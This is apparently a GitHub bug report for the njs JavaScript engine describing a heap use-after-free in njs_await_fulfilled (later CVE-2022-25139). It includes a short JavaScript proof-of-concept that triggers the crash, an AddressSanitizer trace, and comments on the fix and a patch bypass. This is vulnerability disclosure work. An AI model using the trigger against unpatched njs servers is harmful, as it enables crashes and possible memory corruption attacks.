

New issue

[Jump to bottom](#)

Heap UAF in njs_await_fulfilled #451

🔒 Closed

anonym0us1337 opened this issue on Dec 24, 2021 · 3 comments

Assignees



Labels

bug fuzzer

anonym0us1337 commented on Dec 24, 2021

Env

Version : 0.7.0
Git Commit : 2da5d8b246b806bee6f74b575217ec3b61a25548
OS : Ubuntu 20.04
Configure : ./configure --address-sanitizer=YES

POC

```
function main() {  
  async function v6(v7) {  
    const v10 = v7(v7);  
    const v11 = await "split";  
    Object.values();  
  }  
  const v15 = v6(v6);  
}  
main();
```

Stack Dump

```

=====
==465349==ERROR: AddressSanitizer: heap-use-after-free on address 0x6250001a5c30 at pc
0x00000049595f bp 0x7ffde728bab0 sp 0x7ffde728b278
WRITE of size 88 at 0x6250001a5c30 thread T0
    #0 0x49595e in __asan_memset (/home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/build/njs+0x49595e)
    #1 0x538e7f in njs_function_frame_alloc /home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/src/njs_function.c:574:5
    #2 0x538b50 in njs_function_native_frame /home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/src/njs_function.c:381:13
    #3 0x4eae5f in njs_function_frame /home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/src/njs_function.h:151:16
    #4 0x4eae5f in njs_function_frame_create /home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/src/njs_vmcode.c:1737:16
    #5 0x4e2cf8 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/src/njs_vmcode.c:767:23
    #6 0x605359 in njs_await_fulfilled /home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/src/njs_async.c:104:11
    #7 0x53b99c in njs_function_native_call /home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/src/njs_function.c:737:11
    #8 0x539fd9 in njs_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/src/njs_function.c:775:16
    #9 0x539fd9 in njs_function_call2 /home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/src/njs_function.c:600:11
    #10 0x5f4af7 in njs_function_call /home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/src/njs_function.h:179:12
    #11 0x5f4af7 in njs_promise_reaction_job /home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/src/njs_promise.c:1182:15
    #12 0x53b99c in njs_function_native_call /home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/src/njs_function.c:737:11
    #13 0x4de4c0 in njs_vm_invoke /home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/src/njs_vm.c:375:12
    #14 0x4de4c0 in njs_vm_call /home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/src/njs_vm.c:359:12
    #15 0x4de4c0 in njs_vm_handle_events /home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/src/njs_vm.c:524:19
    #16 0x4de4c0 in njs_vm_run /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vm.c:479:12
    #17 0x4c82a7 in njs_process_script /home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/src/njs_shell.c:915:15
    #18 0x4c7375 in njs_process_file /home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/src/njs_shell.c:615:11
    #19 0x4c7375 in main /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:315:15
    #20 0x7fbad01760b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-
start.c:308:16
    #21 0x41dabd in _start (/home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/build/njs+0x41dabd)

0x6250001a5c30 is located 6960 bytes inside of 8192-byte region [0x6250001a4100,0x6250001a6100)
freed by thread T0 here:
    #0 0x495f7d in free (/home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/build/njs+0x495f7d)
    #1 0x53bcc9 in njs_function_frame_free /home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/src/njs_function.c:795:13
    #2 0x4e97a8 in njs_vmcode_return /home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/src/njs_vmcode.c:1807:5
    #3 0x4e97a8 in njs_vmcode_await /home/anonym0us/Git/fuzzilli-njs/njs-
origin/njs/src/njs_vmcode.c:1906:12

```

[illegible]

previously allocated by thread T0 here:

```
#0 0x496c97 in posix_memalign (/home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/build/njs+0x496c97)  
#1 0x61fa0c in njs_memalign /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_malloc.c:39:11  
#2 0x4cf64b in njs_mp_alloc_large /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_mp.c:577:13  
#3 0x538fb1 in njs_function_frame_alloc /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_function.c:564:17  
#4 0x5391a7 in njs_function_lambda_frame /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_function.c:466:20  
#5 0x4eae4e in njs_function_frame /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_function.h:154:16  
#6 0x4eae4e in njs_function_frame_create /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_vmcode.c:1737:16  
#7 0x4e310d in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_vmcode.c:734:23  
#8 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_function.c:701:11  
#9 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_async.c:34:11  
#10 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_vmcode.c:783:23  
#11 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_function.c:701:11  
#12 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_async.c:34:11  
#13 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_vmcode.c:783:23  
#14 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_function.c:701:11  
#15 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_async.c:34:11  
#16 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_vmcode.c:783:23  
#17 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_function.c:701:11  
#18 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_async.c:34:11  
#19 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_vmcode.c:783:23  
#20 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_function.c:701:11  
#21 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_async.c:34:11  
#22 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_vmcode.c:783:23  
#23 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_function.c:701:11  
#24 0x604d74 in njs_async_function_frame_invoke /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_async.c:34:11  
#25 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_vmcode.c:783:23  
#26 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-  
origin/njs/src/njs_function.c:701:11
```

```
#27 0x604d74 in njs_async_function_frame_invoke /home/anonymous/Git/fuzzilli-njs/njs-
origin/njs/src/njs_async.c:34:11
#28 0x4e4648 in njs_vmcode_interpreter /home/anonymous/Git/fuzzilli-njs/njs-
origin/njs/src/njs_vmcode.c:783:23
#29 0x53ae40 in njs_function_lambda_call /home/anonymous/Git/fuzzilli-njs/njs-
origin/njs/src/njs_function.c:701:11
#30 0x604d74 in njs_async_function_frame_invoke /home/anonymous/Git/fuzzilli-njs/njs-
origin/njs/src/njs_async.c:34:11
```

SUMMARY: AddressSanitizer: heap-use-after-free (/home/anonymous/Git/fuzzilli-njs/njs-
origin/njs/build/njs+0x49595e) in __asan_memset

Shadow bytes around the buggy address:

```
0x0c4a8002cb30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a8002cb40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a8002cb50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a8002cb60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a8002cb70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c4a8002cb80: fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd
0x0c4a8002cb90: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a8002cba0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a8002cbb0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a8002cbc0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a8002cbd0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
```


Shadow byte legend (one shadow byte represents 8 application bytes):


```
Addressable:          00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone:    fa
Freed heap region:    fd
Stack left redzone:   f1
Stack mid redzone:    f2
Stack right redzone:  f3
Stack after return:   f5
Stack use after scope: f8
Global redzone:       f9
Global init order:    f6
Poisoned by user:     f7
Container overflow:    fc
Array cookie:          ac
Intra object redzone: bb
ASan internal:         fe
Left alloca redzone:  ca
Right alloca redzone: cb
Shadow gap:           cc
```

==465349==ABORTING

Credit

P1umer, afang5472, Kotori of NeSE@IIE

  **xeioex** self-assigned this on Jan 19

 **nginx-hg-mirror** closed this as completed in [6a07c21](#) on Jan 21

  **P1umer** mentioned this issue on Feb 15

Patch bypass for njs_await_fulfilled, causing UAF again #469

 Closed

P1umer commented on Feb 15

This issue [#451](#) was assigned [CVE-2022-25139](#).

bmv126 commented on Mar 22

@**P1umer**


Is [CVE-2022-25139](#) fixed as part of njs 0.7.2 ?

Is there any dependency for [CVE-2022-25139](#) on [#469](#) ?

P1umer commented on Mar 23

@**bmv126**


Hi,

1. Yes, I think this issue has been temporarily fixed in 0.7.2, but
2. The fix is flawed, so issue  [Patch bypass for njs_await_fulfilled, causing UAF again #469](#) arise.

Assignees

  **xeioex**

Labels

 **bug** **fuzzer**

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

4 participants

